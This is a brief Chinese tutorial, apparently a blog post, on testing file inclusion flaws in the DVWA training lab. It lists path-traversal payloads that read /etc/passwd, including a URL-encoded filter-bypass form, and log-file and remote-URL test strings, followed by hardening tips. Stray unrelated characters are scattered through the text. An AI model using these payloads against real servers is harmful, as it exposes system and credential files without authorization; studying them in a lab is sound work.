文件包含分為LFI本地文件包含和RFI遠(yuǎn)程文件包含灭将,本次主要以本地文件包含為主進(jìn)行測試。
進(jìn)行到DVWA下的File Inclusion(文件包含)菜單下后控,進(jìn)入到file1.php頁面庙曙,獲取頁面格式為page=file1.php。
文件包含漏洞就是通過include函數(shù)將web根目錄以外的目錄的文件被包含進(jìn)來浩淘,首先測試是否將passwd文件包含捌朴,利用page=../../../../../../../etc/passwd吴攒,進(jìn)行提交;
passwd文件在頁面顯示出砂蔽,同時洼怔,還可以利用page=file:///etc/passwd,如果存在相關(guān)安全設(shè)備對etc/passwd等字符進(jìn)行了過濾,可以利用編碼后提交嘗試?yán)@過左驾,page=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
常見包含漏洞測試方法:
?file=../../../../../var/log/apache2/access.log
?page=file:///var/log/apache2/access.log
?home=main.cgi
?page=http://www.a.com/index.php
http://1.1.1.1/../../../../dir/file.txt
加固方法:
過濾或禁止敏感參數(shù)镣隶,其中以“../../”等目錄跳轉(zhuǎn)符號為主
盡量防止或不用動態(tài)文件包含
調(diào)用str_replace()函數(shù)實現(xiàn)相關(guān)敏感字符的過濾,可以防御了遠(yuǎn)程文件包含